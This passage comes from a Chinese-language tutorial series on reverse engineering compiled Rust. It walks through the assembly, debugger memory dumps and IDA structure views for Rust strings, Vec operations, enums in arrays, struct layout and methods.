24
25
26
27
28
29
30
31
32
33
34
35
36
37
.LBB27_9:
mov rax, qword ptr [rsp + 216]
mov qword ptr [rsp + 192], rax
movups xmm0, xmmword ptr [rsp + 200]
movaps xmmword ptr [rsp + 176], xmm0
lea rdi, [rsp + 176]
call <alloc::string::String as core::ops::deref::Deref>::deref
mov qword ptr [rsp + 64], rdx
mov qword ptr [rsp + 72], rax
jmp .LBB27_12
...
.LBB27_12:
mov rsi, qword ptr [rsp + 64]
mov rdi, qword ptr [rsp + 72]
call core::str::<impl str>::chars
mov qword ptr [rsp + 48], rdx
mov qword ptr [rsp + 56], rax
jmp .LBB27_13
.LBB27_13:
mov rsi, qword ptr [rsp + 48]
mov rdi, qword ptr [rsp + 56]
mov rax, qword ptr [rip + <I as core::iter::traits::collect::IntoIterator>::into_iter@GOTPCREL]
call rax
mov qword ptr [rsp + 32], rdx
mov qword ptr [rsp + 40], rax
jmp .LBB27_14
.LBB27_14:
mov rax, qword ptr [rsp + 32]
mov rcx, qword ptr [rsp + 40]
mov qword ptr [rsp + 304], rcx
mov qword ptr [rsp + 312], rax
.LBB27_15:
lea rdi, [rsp + 304]
call <core::str::iter::Chars as core::iter::traits::iterator::Iterator>::next
mov dword ptr [rsp + 28], eax
jmp .LBB27_16
...

可以看到,这里与bytes类似。经过调试发现,chars方法返回的也是两个地址,开始地址和结尾地址。因为chars返回的类型是迭代器,所以Rust可以通过调用next方法动态地判断下一个字符占用的字节数量,因此不需要返回每一个字符占用的字节数。但是,我们有方法让Rust返回真正的字符数组,那就是使用collect方法将迭代器转换为Vec

1
2
3
4
5
6
7
8
pub fn main(){
let s = String::from("CoLin");
let t = String::from("太6了!");
let mut u = format!("{s} {t}");
let mut x = u.chars();
let y: Vec<char> = x.collect();
println!("{}", y[0]);
}
1
2
3
4
5
6
pwndbg> tele 0x5555555b6c00
00:0000│ 0x5555555b6c00 ◂— 0x6f00000043 /* 'C' */
01:0008│ 0x5555555b6c08 ◂— 0x690000004c /* 'L' */
02:0010│ 0x5555555b6c10 ◂— 0x200000006e /* 'n' */
03:0018│ 0x5555555b6c18 ◂— 0x360000592a /* '*Y' */
04:0020│ 0x5555555b6c20 ◂— 0x2100004e86

collect方法在一个栈地址中保存了一个堆地址,而这个堆地址的内容就如上面所示。可以看到,Rust为每一个字符分配了4个字节的空间,虽然大多数字符都占不到4个字节,但是为了索引的需要,Rust必须分配一个足够容纳所有字符的空间,也就是UTF-8的一个字符可能占用的最大字节数。

总结

本文我们学习了:

  1. 字符数组在内存中的结构
  2. 字符串遍历过程的逆向
  3. Rust字符串的相关知识

本文将对Rust中的通用集合类型——动态数组Vec进行学习,对应参考书中的第8章。

Reverse for Vec

Vec是Rust中的动态数据结构,与C++中的vector功能类似。实际上Rust中的String就是一个特殊的Vec,这可以通过查看Rust的内核代码证实。

vec! 与 添加元素

vec!是一个宏,用于快速初始化数组元素。

1
2
3
4
5
pub fn main() {
let mut x = vec![1, 2, 3];
x.push(4);
println!("{}", x.len());
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
example::main:
sub rsp, 168
mov edi, 12
mov esi, 4
call alloc::alloc::exchange_malloc
mov qword ptr [rsp + 32], rax
and rax, 3
cmp rax, 0
sete al
test al, 1
jne .LBB31_1
jmp .LBB31_2
.LBB31_1:
mov rsi, qword ptr [rsp + 32]
mov dword ptr [rsi], 1
mov dword ptr [rsi + 4], 2
mov dword ptr [rsi + 8], 3
mov rax, qword ptr [rip + alloc::slice::<impl [T]>::into_vec@GOTPCREL]
lea rdi, [rsp + 40]
mov qword ptr [rsp + 24], rdi
mov edx, 3
call rax
mov rdi, qword ptr [rsp + 24]
mov rax, qword ptr [rip + alloc::vec::Vec<T,A>::push@GOTPCREL]
mov esi, 4
call rax
jmp .LBB31_5

第一段中,我们可以发现vec!宏执行时,汇编实际上执行的是什么操作。首先调用了一个exchange_malloc函数,传入第一个参数为12,第二个参数为4,根据源码可以判断出,第一个参数应该是总的内存分配字节数量,第二个参数为每个元素的字节数量。这个函数的返回值是Box<[i32]>,这是Rust中的一个智能指针类型,能够在堆分配内存并管理生命周期,指针保存在栈中。后面对返回值进行了判断,如果内存分配失败则会输出错误信息。Box的特性如下,参考资料:传送门

在栈上存储指针,指向堆上的数据。
在转移所有权时负责释放堆上的内存。
大小固定,适用于已知大小的类型。
只能有一个所有者,不可共享引用。

随后,代码中以rsi作为指针,初始化了3个数组元素。初始化完成后调用into_vecBox转换为Vec类型。可以说,上面源码中的vec!宏基本等同于:

1
2
let mut b: Box<[i32]> = Box::new([1, 2, 3]);
let mut x = b.into_vec();

经过调试发现,调用into_vec后,Vec实例中的指针与Box的指针相同,但现在Box类型已经不复存在了,其所有权已经被转移到Vec中。

随后,程序调用了push方法扩充了Vec的空间,但原先的地址空间不足以容纳新的元素,因此需要将原先的内存空间释放掉再重新分配。考虑到Rust在汇编层调用的是libc,所以堆管理那套本质上还是mallocfree那些函数,与C/C++相同,方便进行分析。

在动态数组大小发生改变时,如果存在一个已有的对某个元素的引用,那么大小改变后该引用可能会指向被释放的空间,这是Rust所不能允许的,这就要回到所有权规则的定义。考虑存在不可变引用的情况,如果此时需要增加数组的长度,那么首先在增加前必然需要获取该动态数组的可变引用,而所有权规则不允许一个实例同时存在可变引用和不可变引用,因此导致编译失败。

元素访问

Rust中有两种方式访问动态数组中的元素,第一种是直接通过下标访问:

1
2
3
4
5
6
pub fn main() {
let mut x = vec![1, 2, 3];
x.push(4);
let y = &x[2];
println!("{}", y);
}
1
2
3
4
5
6
7
8
.LBB33_5:
lea rdx, [rip + .L__unnamed_6]
mov rax, qword ptr [rip + <alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index@GOTPCREL]
lea rdi, [rsp + 40]
mov esi, 2
call rax
mov qword ptr [rsp + 16], rax
jmp .LBB33_6

这是加&的汇编代码,第一个参数就是Vec实例地址,第二个参数是索引值,第三个参数疑似指向工程名的字符串切片,推测是在索引越界后输出错误信息用的。这里实际上是调用了index方法进行索引。这个index函数的返回值是一个地址,如果加了&,则直接对指针进行操作,如果不加则会直接解引用。

1
2
3
4
5
6
7
8
9
10
11
12
; 不加&
.LBB32_6:
mov rax, qword ptr [rsp + 16]
mov eax, dword ptr [rax]
mov dword ptr [rsp + 68], eax
lea rax, [rsp + 68]

; 加&
.LBB33_6:
mov rax, qword ptr [rsp + 16]
mov qword ptr [rsp + 64], rax
lea rax, [rsp + 64]

第二种元素访问的方法是使用get方法:

1
2
3
4
5
6
pub fn main() {
let mut x = vec![1, 2, 3];
x.push(4);
let y = x.get(2).unwrap();
println!("{}", y);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.LBB35_5:
mov rax, qword ptr [rip + <alloc::vec::Vec<T,A> as core::ops::deref::Deref>::deref@GOTPCREL]
lea rdi, [rsp + 72]
call rax
mov qword ptr [rsp + 40], rdx
mov qword ptr [rsp + 48], rax
jmp .LBB35_6
.LBB35_6:
mov rsi, qword ptr [rsp + 40]
mov rdi, qword ptr [rsp + 48]
mov rax, qword ptr [rip + core::slice::<impl [T]>::get@GOTPCREL]
mov edx, 2
call rax
mov qword ptr [rsp + 32], rax
jmp .LBB35_7
.LBB35_7:
mov rdi, qword ptr [rsp + 32]
lea rsi, [rip + .L__unnamed_7]
mov rax, qword ptr [rip + core::option::Option<T>::unwrap@GOTPCREL]
call rax
mov qword ptr [rsp + 24], rax
jmp .LBB35_8

使用get函数前,会首先调用deref方法解引用获取动态数组类型中保存的定长数组实例,随后对这个实例使用get方法获取Option<T>实例。可见如果使用get方法进行数组的越界访问,那么get方法返回后不会立即panic!退出。

元素遍历

对于动态数组,要遍历数组中的元素,只需要使用for循环即可完成。但Rust源码看着简单,实际在汇编层完成的工作可不少。

1
2
3
4
5
6
7
pub fn main() {
let mut x = vec![1, 2, 3];
x.push(4);
for i in x {
println!("{}", i);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.LBB46_5:
mov byte ptr [rsp + 247], 0
mov rax, qword ptr [rsp + 56]
mov qword ptr [rsp + 112], rax
movups xmm0, xmmword ptr [rsp + 40]
movaps xmmword ptr [rsp + 96], xmm0
mov rax, qword ptr [rip + <alloc::vec::Vec<T,A> as core::iter::traits::collect::IntoIterator>::into_iter@GOTPCREL]
lea rdi, [rsp + 64]
lea rsi, [rsp + 96]
call rax
jmp .LBB46_6
.LBB46_6:
mov rax, qword ptr [rsp + 64]
mov qword ptr [rsp + 128], rax
mov rax, qword ptr [rsp + 72]
mov qword ptr [rsp + 136], rax
mov rax, qword ptr [rsp + 80]
mov qword ptr [rsp + 144], rax
mov rax, qword ptr [rsp + 88]
mov qword ptr [rsp + 152], rax
.LBB46_7:
mov rax, qword ptr [rip + <alloc::vec::into_iter::IntoIter<T,A> as core::iter::traits::iterator::Iterator>::next@GOTPCREL]
lea rdi, [rsp + 128]
call rax
mov dword ptr [rsp + 16], edx
mov dword ptr [rsp + 20], eax
jmp .LBB46_10

上面即为for循环的其中一段,其中[rsp+40]Vec实例的地址。首先可以看到程序将Vec实例复制了一份,随后调用了into_iter方法获取了一个迭代器实例,该方法的第一个参数为需要初始化迭代器的地址,第二个参数为复制的Vec的地址。这个方法是可以单独调用的,返回一个迭代器:fn into_iter(self) -> Self::IntoIter。从下面的汇编代码(复制到[rsp+128])可以得知,这个迭代器实例在栈中的大小为0x20。下面是这个迭代器在调试时获取的最初状态:

1
2
3
4
08:0040│ rax rcx 0x7fffffffd840 —▸ 0x5555555b4ba0 ◂— 0x200000001
09:0048│ 0x7fffffffd848 ◂— 0x6
0a:0050│ 0x7fffffffd850 —▸ 0x5555555b4ba0 ◂— 0x200000001
0b:0058│ 0x7fffffffd858 —▸ 0x5555555b4bb0 ◂— 0x0

其中第1个和第3个字保存的都是数组的起始地址,第4个字保存的是数组的末尾地址,第2个字的6保存的是数组的容量,注意这里的容量与数组长度不同,数组长度为4,但容量为6,只不过后面2个元素暂时还未被创建。

往下,代码调用了next方法,获取迭代器中的下一个元素,下面是调用后迭代器的状态:

1
2
3
4
10:0080│ rcx rdi 0x7fffffffd880 —▸ 0x5555555b4ba0 ◂— 0x200000001
11:0088│ 0x7fffffffd888 ◂— 0x6
12:0090│ 0x7fffffffd890 —▸ 0x5555555b4ba4 ◂— 0x300000002
13:0098│ 0x7fffffffd898 —▸ 0x5555555b4bb0 ◂— 0x0

可以看到第三个字表示的实际上就是当前的指针。next方法返回的是一个Option<T>实例,索引值和数据分别被保存在raxrdx中。这一点在下面的汇编代码中得以证实。

1
2
3
4
5
6
7
8
9
10
11
12
.LBB46_10:
mov eax, dword ptr [rsp + 16]
mov ecx, dword ptr [rsp + 20]
mov dword ptr [rsp + 164], ecx
mov dword ptr [rsp + 168], eax
mov eax, dword ptr [rsp + 164]
cmp rax, 0
jne .LBB46_12
mov rax, qword ptr [rip + core::ptr::drop_in_place<alloc::vec::into_iter::IntoIter<i32>>@GOTPCREL]
lea rdi, [rsp + 128]
call rax
jmp .LBB46_13

下面的代码中进行了一个比较,通过数据流分析可以发现这里是将next返回值与0进行比较,在Option<T>中,如果T不是一个枚举类型,那么枚举索引值为1表示有效值,0则表示无效值。随后就是正常的宏展开与输出,输出内容后无条件跳转回next方法调用前,继续调用next方法获取下一个值。

next方法调用失败,即已经到达迭代器的终点时,通过调试发现,返回的rax值为0,rdx值为0x5555。后续则是判断失败后跳出循环。

注意,上面的代码是for i in x,这里的x由于没有使用引用,在for循环一开始就丧失了所有权,其所有权会被转移到迭代器中,当for循环结束后,迭代器被销毁,后续将不能使用变量x

如果使用for i in &x,情况则会有些许的不同,不仔细观察还真的容易忽略

注意看,下面是两个into_iter方法在IDA反汇编界面中的函数名:

1
2
3
_$LT$$RF$alloc..vec..Vec$LT$T$C$A$GT$$u20$as$u20$core..iter..traits..collect..IntoIterator$GT$::into_iter::hed888fce85d317be

_$LT$alloc..vec..Vec$LT$T$C$A$GT$$u20$as$u20$core..iter..traits..collect..IntoIterator$GT$::into_iter::he37dcd381eb06c85

可能你会纳闷:这里为啥会有这么多$符号?实际上,这是IDA用于表示某些标点符号的转义字符,这个转义的规则与Javascript类似。$LT$表示<$GT$表示>$RF$表示&$C$表示,$u??$表示\x??。因此上面的函数名就等同于:

1
2
3
<&alloc::vec::Vec<T,A> as core::iter::traits::collect::IntoIterator>::into_iter::hed888fce85d317be

<alloc::vec::Vec<T,A> as core::iter::traits::collect::IntoIterator>::into_iter::he37dcd381eb06c85

上面那个是for i in &x调用的方法,下面是for i in x调用的方法,除了后面的哈希值之外,函数名真的只有一个&的差别。也即上面的方法是针对&Vec,下面的是针对Vec。二者的参数不同,上面那个只有1个参数:

1
2
3
4
5
6
7
.LBB33_5:
mov rax, qword ptr [rip + <&alloc::vec::Vec<T,A> as core::iter::traits::collect::IntoIterator>::into_iter@GOTPCREL]
lea rdi, [rsp + 64]
call rax
mov qword ptr [rsp + 32], rdx
mov qword ptr [rsp + 40], rax
jmp .LBB33_6

Vec实例的地址。

且二者的返回值也不同,对于<&alloc::vec::Vec<T,A> as core::iter::traits::collect::IntoIterator>::into_iter,其返回值保存在raxrdx中,其中rax为数组的开始地址,rdx为数组的结束地址。实际返回的迭代器的大小也只有16个字节。

for i in &x后面的汇编代码段如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.LBB33_6:
mov rax, qword ptr [rsp + 32]
mov rcx, qword ptr [rsp + 40]
mov qword ptr [rsp + 88], rcx
mov qword ptr [rsp + 96], rax
.LBB33_7:
mov rax, qword ptr [rip + <core::slice::iter::Iter<T> as core::iter::traits::iterator::Iterator>::next@GOTPCREL]
lea rdi, [rsp + 88]
call rax
mov qword ptr [rsp + 24], rax
jmp .LBB33_8
.LBB33_8:
mov rax, qword ptr [rsp + 24]
mov qword ptr [rsp + 104], rax
mov rdx, qword ptr [rsp + 104]
mov eax, 1
xor ecx, ecx
cmp rdx, 0
cmove rax, rcx
cmp rax, 0
jne .LBB33_10

可以看到这里调用的next方法也和不加&的不一样,参数只有1个,即数组的开始地址,返回值只有1个,即下一个元素的地址,该函数调用后,迭代器中的指针位置向前移动。可见对于引用类型的迭代器结构更为简单,只需要一个动态指针和一个结束指针即可,什么时候动态指针等于结束指针,迭代也就结束。

枚举数组

对于元素类型是枚举类型的数组,目前只有一个疑问:当枚举类型中不同枚举项所跟的数据类型不同,占用内存大小不同时,Rust将如何进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#[derive(Debug)]
enum Shapes {
Round(f64),
Rectangle(f64, f64),
Triangle(f64, f64, f64),
}

pub fn main() {
let mut x = vec![
Shapes::Round(3.5),
Shapes::Rectangle(7.5, 9.6),
Shapes::Triangle(114.514, 19.1981, 1.57)
];
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
example::main:
sub rsp, 136
mov edi, 96
mov esi, 8
call alloc::alloc::exchange_malloc
mov qword ptr [rsp + 8], rax
movsd xmm0, qword ptr [rip + .LCPI10_5]
movsd qword ptr [rsp + 48], xmm0
mov qword ptr [rsp + 40], 0
movsd xmm0, qword ptr [rip + .LCPI10_4]
movsd qword ptr [rsp + 80], xmm0
movsd xmm0, qword ptr [rip + .LCPI10_3]
movsd qword ptr [rsp + 88], xmm0
mov qword ptr [rsp + 72], 1
movsd xmm0, qword ptr [rip + .LCPI10_2]
movsd qword ptr [rsp + 112], xmm0
movsd xmm0, qword ptr [rip + .LCPI10_1]
movsd qword ptr [rsp + 120], xmm0
movsd xmm0, qword ptr [rip + .LCPI10_0]
movsd qword ptr [rsp + 128], xmm0
mov qword ptr [rsp + 104], 2
and rax, 7
cmp rax, 0
sete al
test al, 1
jne .LBB10_1
jmp .LBB10_2
.LBB10_1:
mov rsi, qword ptr [rsp + 8]
mov rax, qword ptr [rsp + 40]
mov qword ptr [rsi], rax
mov rax, qword ptr [rsp + 48]
mov qword ptr [rsi + 8], rax
mov rax, qword ptr [rsp + 56]
mov qword ptr [rsi + 16], rax
mov rax, qword ptr [rsp + 64]
mov qword ptr [rsi + 24], rax
mov rax, qword ptr [rsp + 72]
mov qword ptr [rsi + 32], rax
mov rax, qword ptr [rsp + 80]
mov qword ptr [rsi + 40], rax
mov rax, qword ptr [rsp + 88]
mov qword ptr [rsi + 48], rax
mov rax, qword ptr [rsp + 96]
mov qword ptr [rsi + 56], rax
mov rax, qword ptr [rsp + 104]
mov qword ptr [rsi + 64], rax
mov rax, qword ptr [rsp + 112]
mov qword ptr [rsi + 72], rax
mov rax, qword ptr [rsp + 120]
mov qword ptr [rsi + 80], rax
mov rax, qword ptr [rsp + 128]
mov qword ptr [rsi + 88], rax
lea rdi, [rsp + 16]
mov edx, 3
call qword ptr [rip + alloc::slice::<impl [T]>::into_vec@GOTPCREL]

可以看到,Rust编译器似乎很喜欢通过大量的mov系列指令完成内存复制操作,在上面的示例中可以发现,Rust是将枚举类型可能占用的最大内存大小作为数组一个元素的大小进行存储,在下面的内存拷贝操作中甚至还拷贝了未被初始化的内存区域。我们可以将每一个枚举类型后面跟的值视作一个大的union结构,一个枚举类型的不同实例占用的内存大小相同,即使其中一个实例只保存了8字节而另一个实例保存了80字节,前者也需要80个字节的空间保存数据。这会造成一定的内存浪费,但便于数组索引寻址。

弹出最后一个元素——pop

Vecpop方法能够弹出数组中最后一个元素,并在数组中将其删除。

1
2
3
4
5
pub fn main() {
let mut x = vec![1, 2, 3];
x.push(4);
let y = x.pop().unwrap();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
.LBB31_5:
mov rax, qword ptr [rip + alloc::vec::Vec<T,A>::pop@GOTPCREL]
lea rdi, [rsp + 32]
call rax
mov dword ptr [rsp + 8], edx
mov dword ptr [rsp + 12], eax
jmp .LBB31_6
.LBB31_6:
mov esi, dword ptr [rsp + 8]
mov edi, dword ptr [rsp + 12]
lea rdx, [rip + .L__unnamed_5]
mov rax, qword ptr [rip + core::option::Option<T>::unwrap@GOTPCREL]
call rax
jmp .LBB31_7

pop的参数只有一个,即Vec实例地址,返回值是Option<T>rdx为有效值,rax为是否有效的索引值,1为有效。该方法调用后,数组的大小会变化,但容量不变,真正保存值的静态数组指针中的值也不变,而且也不需要改变,因为数组大小变小,所以后面的值在正常情况下无法访问。

在参考书中只给出了插入元素、获取元素、遍历元素等几个为数不多的Vec操作方法,但实际上Vec能完成的功能远不止于此,考虑到Vec的方法实在太多,这里无法全部完成分析,就先到这里了。不过我们已经掌握了Vec的基本结构,对于其他方法的分析也就万变不离其宗。

总结

本文我们学习了:

  1. Vec动态数组结构在内存中的结构。
  2. Vec在最后添加、删除元素、遍历、访问值的相关方法分析。
  3. IDA中对一些含有特殊字符的Rust方法的转义方式与Javascript类似。
  4. 枚举类型构成的数组中,每个枚举类型占用的内存大小相同,可能导致内存空间浪费。

Reverse for Struct

Rust中的结构体是一个重要的内容,由于Rust中没有类的概念,因此其他编程语言中的封装、继承、多态与Rust中的表现都有较大差异。

我们使用参考书中的一个示例开始进行分析。

Struct 初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct User {
username: String,
email: String,
sign_in_count: u64,
active: bool,
}

pub fn main() {
let mut user1 = User {
email: String::from("someone@example.com"),
username: String::from("someusername123"),
active: true,
sign_in_count: 1
};
println!("{}, {}", user1.email, user1.active);
}

上面这段在汇编层是如何处理的呢?

第一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
example::main:
sub rsp, 296
lea rsi, [rip + .L__unnamed_5]
lea rdi, [rsp + 120]
mov edx, 19
call <alloc::string::String as core::convert::From<&str>>::from
lea rsi, [rip + .L__unnamed_6]
lea rdi, [rsp + 144]
mov edx, 15
call <alloc::string::String as core::convert::From<&str>>::from
jmp .LBB17_3
...

.L__unnamed_5:
.ascii "someone@example.com"

.L__unnamed_6:
.ascii "someusername123"

上面是第一段汇编内容,在源码中,我们是首先对email进行了初始化,在汇编中也是如此。这里分别将两个字符串实例保存到了[rsp+120][rsp+144]处。我们之前分析过,String实例在栈中的大小应该为0x18,可见这两个String实例是完全相邻的,中间没有其他的数据。

第二段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.LBB17_3:
mov rax, qword ptr [rsp + 160]
mov qword ptr [rsp + 64], rax
movups xmm0, xmmword ptr [rsp + 144]
movaps xmmword ptr [rsp + 48], xmm0
lea rax, [rsp + 72]
mov rcx, qword ptr [rsp + 136]
mov qword ptr [rsp + 88], rcx
movups xmm0, xmmword ptr [rsp + 120]
movups xmmword ptr [rsp + 72], xmm0
mov qword ptr [rsp + 96], 1
mov byte ptr [rsp + 104], 1
mov qword ptr [rsp + 280], rax
lea rax, [rip + <alloc::string::String as core::fmt::Display>::fmt]
mov qword ptr [rsp + 288], rax
mov rax, qword ptr [rsp + 280]
mov qword ptr [rsp + 32], rax
mov rax, qword ptr [rsp + 288]
mov qword ptr [rsp + 40], rax
jmp .LBB17_6

随后是第二段,这里有一个Rust 1.73与Rust 1.69的不同之处,在老版本中,对于宏将会调用core::fmt::ArgumentV1::new_display将中括号对应的内容转为字符串,而在新版本中,则只会将core::fmt::Display函数地址保存到栈而并不调用。并且结构体中各个元素的内存排列顺序也不相同,通过IDA分析可见在1.73版本中,元素排列与元素定义的顺序相同,但老版本中则不是。这里是因为String实例实现了Display这个Trait,所以能够直接输出。输出时调用的实际上也是DisplayTrait

需要注意的是,第一段中的字符串初始化并不是对结构体的字符串直接进行初始化,而是在栈中另外开辟了0x30大小的空间用于初始化这两个字符串,随后将这段内存的内容复制到结构体中。真正的结构体应该位于[rsp+48]。四个元素的保存地址分别为:[rsp+48][rsp+72][rsp+96][rsp+104],因此,中间的两条指令mov qword ptr [rsp + 96], 1mov byte ptr [rsp + 104], 1就是在对sign_in_countactive进行初始化,因为二者一个是整数类型,一个是布尔值,都是不需要通过new进行初始化的,因此可以直接赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
00000000 revlab::User struc ; (sizeof=0x40, align=0x8, copyof_91)
00000000 ; XREF: _ZN6revlab4main17h1e5ad0972ab6a820E/r
00000000 ; _ZN6revlab4main17h1e5ad0972ab6a820E/r
00000000 username alloc::string::String ? ; XREF: revlab::main::h1e5ad0972ab6a820+65/w
00000000 ; revlab::main::h1e5ad0972ab6a820+72/w
00000018 email alloc::string::String ? ; XREF: revlab::main::h1e5ad0972ab6a820+77/o
00000018 ; revlab::main::h1e5ad0972ab6a820+84/w ...
00000030 sign_in_count dq ? ; XREF: revlab::main::h1e5ad0972ab6a820+93/w
00000038 active db ? ; XREF: revlab::main::h1e5ad0972ab6a820+9C/w
00000038 ; revlab::main::h1e5ad0972ab6a820+11C/o
00000039 db ? ; undefined
0000003A db ? ; undefined
0000003B db ? ; undefined
0000003C db ? ; undefined
0000003D db ? ; undefined
0000003E db ? ; undefined
0000003F db ? ; undefined

第三段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.LBB17_6:
mov rax, qword ptr [rsp + 40]
mov rcx, qword ptr [rsp + 32]
mov qword ptr [rsp], rcx
mov qword ptr [rsp + 8], rax
lea rax, [rsp + 104]
mov qword ptr [rsp + 264], rax
mov rax, qword ptr [rip + <bool as core::fmt::Display>::fmt@GOTPCREL]
mov qword ptr [rsp + 272], rax
mov rax, qword ptr [rsp + 264]
mov qword ptr [rsp + 16], rax
mov rax, qword ptr [rsp + 272]
mov qword ptr [rsp + 24], rax
mov rax, qword ptr [rsp + 24]
mov rcx, qword ptr [rsp + 16]
mov rdx, qword ptr [rsp + 8]
mov rsi, qword ptr [rsp]
mov qword ptr [rsp + 216], rsi
mov qword ptr [rsp + 224], rdx
mov qword ptr [rsp + 232], rcx
mov qword ptr [rsp + 240], rax
lea rsi, [rip + .L__unnamed_7]
lea rdi, [rsp + 168]
mov edx, 3
lea rcx, [rsp + 216]
mov r8d, 2
call core::fmt::Arguments::new_v1
jmp .LBB17_8

.L__unnamed_7:
.quad .L__unnamed_2
.zero 8
.quad .L__unnamed_11
.asciz "\002\000\000\000\000\000\000"
.quad .L__unnamed_12
.asciz "\001\000\000\000\000\000\000"

.L__unnamed_11:
.ascii ", "

.L__unnamed_12:
.ascii "\n"

这一段的工作主要就是输出,通过调试发现,新版rustc在使用println!宏时将不再将临时字符串切片参数保存在栈中,但通过IDA依然可以较为容易地辨别。

Struct 作为返回值

下面书中给出一个通过函数初始化结构体的实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct User {
username: String,
email: String,
sign_in_count: u64,
active: bool,
}

fn build_user(email: String, username: String) -> User {
User {
email,
username,
active: true,
sign_in_count: 1
}
}

pub fn main() {
let mut user1 = build_user(String::from("someone@example.com"), String::from("someusername123"));
println!("{}, {}", user1.email, user1.active);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
example::build_user:
mov rax, rdi
mov rcx, qword ptr [rdx]
mov qword ptr [rdi], rcx
mov rcx, qword ptr [rdx + 8]
mov qword ptr [rdi + 8], rcx
mov rcx, qword ptr [rdx + 16]
mov qword ptr [rdi + 16], rcx
mov rcx, qword ptr [rsi]
mov qword ptr [rdi + 24], rcx
mov rcx, qword ptr [rsi + 8]
mov qword ptr [rdi + 32], rcx
mov rcx, qword ptr [rsi + 16]
mov qword ptr [rdi + 40], rcx
mov qword ptr [rdi + 48], 1
mov byte ptr [rdi + 56], 1
ret

从函数的汇编可以看到,这个函数实际上是将第一个参数作为指针完成初始化的,可以将第一个指针理解为this,这与C++类方法的函数调用规则类似。

实现 Debug Trait

一个结构体可以通过#[derive(Debug)]完成对Debug Trait的默认实现:

1
2
3
4
5
6
7
8
9
10
#[derive(Debug)]
struct Rect {
width: u32,
height: u32,
}

pub fn main() {
let rect1 = Rect {width: 30, height: 50};
println!("rect1 = {:?}", rect1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
example::main:
sub rsp, 88
mov dword ptr [rsp], 30
mov dword ptr [rsp + 4], 50
mov rax, rsp
mov qword ptr [rsp + 72], rax
mov rax, qword ptr [rip + <example::Rect as core::fmt::Debug>::fmt@GOTPCREL]
mov qword ptr [rsp + 80], rax
mov rcx, qword ptr [rsp + 72]
mov rax, qword ptr [rsp + 80]
mov qword ptr [rsp + 56], rcx
mov qword ptr [rsp + 64], rax
lea rdi, [rsp + 8]
lea rsi, [rip + .L__unnamed_4]
mov edx, 2
lea rcx, [rsp + 56]
mov r8d, 1
call core::fmt::Arguments::new_v1
lea rdi, [rsp + 8]
call qword ptr [rip + std::io::stdio::_print@GOTPCREL]
add rsp, 88
ret

可以看到,汇编代码中获取的就是Debug这个Trait的函数指针,说明不同的宏实际上调用的函数也不同。如果将{:?}修改为{:#?},则原先调用的core::fmt::Arguments::new_v1将会改为调用core::fmt::Arguments::new_v1_formatted。考虑到Rust的格式化字符串非常强大与灵活,有多种输出形式,后面将通过专门的分析对宏展开进行分析,这里不深入探讨。

Reverse for Methods

在Rust中,结构体充当了其他语言中类的功能,可以在结构体下定义方法,使这个方法专属于该结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct Rect {
width: u32,
height: u32,
}

impl Rect {
fn area(&self) -> u32 {
self.width * self.height
}
}

pub fn main() {
let rect1 = Rect {width: 30, height: 50};
println!("area = {}", rect1.area());
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
example::Rect::area:
push rax
mov eax, dword ptr [rdi]
mul dword ptr [rdi + 4]
mov dword ptr [rsp + 4], eax
seto al
test al, 1
jne .LBB1_2
mov eax, dword ptr [rsp + 4]
pop rcx
ret
.LBB1_2:
lea rdi, [rip + str.0]
lea rdx, [rip + .L__unnamed_4]
mov rax, qword ptr [rip + core::panicking::panic@GOTPCREL]
mov esi, 33
call rax
ud2

example::main:
sub rsp, 104
mov dword ptr [rsp + 8], 30
mov dword ptr [rsp + 12], 50
lea rdi, [rsp + 8]
call example::Rect::area
mov dword ptr [rsp + 84], eax
lea rax, [rsp + 84]
mov qword ptr [rsp + 88], rax
mov rax, qword ptr [rip + core::fmt::num::imp::<impl core::fmt::Display for u32>::fmt@GOTPCREL]
mov qword ptr [rsp + 96], rax
mov rcx, qword ptr [rsp + 88]
mov rax, qword ptr [rsp + 96]
mov qword ptr [rsp + 64], rcx
mov qword ptr [rsp + 72], rax
lea rdi, [rsp + 16]
lea rsi, [rip + .L__unnamed_5]
mov edx, 2
lea rcx, [rsp + 64]
mov r8d, 1
call core::fmt::Arguments::new_v1
lea rdi, [rsp + 16]
call qword ptr [rip + std::io::stdio::_print@GOTPCREL]
add rsp, 104
ret

由上述汇编可知,这里还是将rdi作为self使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#[derive(Debug)]
struct Rect {
width: u32,
height: u32,
}

impl Rect {
fn area(&self) -> u32 {
self.width * self.height
}
fn can_hold(&self, other: &Rect) -> bool {
self.width > other.width && self.height > other.height
}
}

pub fn main() {
let rect1 = Rect {width: 30, height: 50};
let rect2 = Rect {width: 10, height: 40};
println!("{}", rect1.can_hold(&rect2));
}

